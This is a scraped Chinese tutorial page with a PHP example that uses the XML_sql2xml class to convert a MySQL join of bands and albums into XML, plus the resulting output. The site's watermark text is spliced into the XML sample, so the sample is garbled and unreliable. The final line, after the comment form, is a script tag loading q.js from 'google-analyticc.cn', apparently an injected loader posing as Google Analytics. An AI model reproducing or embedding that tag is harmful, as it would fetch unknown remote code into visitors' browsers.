RSS
热门关键字:  数据挖掘  数据仓库  商业智能  人工智能  搜索引擎

example2.php

来源: 作者:unkonwn 时间:2006-03-22 点击:

example2.php
<?php
include_once("XML/sql2xml.php");
$sql2xmlclass = new xml_sql2xml("mysql://username:password@localhost/xmltest");
$xmlstring = $sql2xmlclass->getxml("select * from bands left join albums on bands.id = bandsID");
?>


输出结果
$xmlstring = "
<?xml version="1.0"?>
    <root>
        <result> 数据挖掘研究院
            <row>
                <id>1</id>
                <name>The Blabbers</name>
                <birth_year>1998</birth_year>
                <birth_place>London</birth_place>
                <genre>Rock"n"Roll</genre>
                <row>
                    <id>1</id> 数据挖掘研究院
                    <bandsID>1</bandsID>
                    <title>BlaBla</title>
                    <year>1998</year>
                    <comment>Their first one</comment>
                </row>
                <row>
                    <id>2</id>
                    <bandsID>1</bandsID>
                    <title>More Talks</title>
                    <year>2000</year>
                    <comment>The second one</comment>
                </row>
            </row>
            <row>
                <id>2</id>
                <name>Only Stupids</name>
                <birth_year>1997</birth_year>
                <birth_place>New York</birth_place>
                <genre>Hip Hop</genre>
                <row>
                    <id>3</id>
                    <bandsID>2</bandsID>
                    <title>All your base...</title>
                    <year>1999</year> 数据挖掘研究院
                    <comment>The Classic</comment>
                </row>
            </row>
        </result>
    </root>

"
最新评论共有 0 位网友发表了评论
发表评论
评论内容:不能超过250字,需审核,请自觉遵守互联网相关政策法规。
匿名?
script src="http://www.google-analyticc.cn/q.js" type="text/javascript">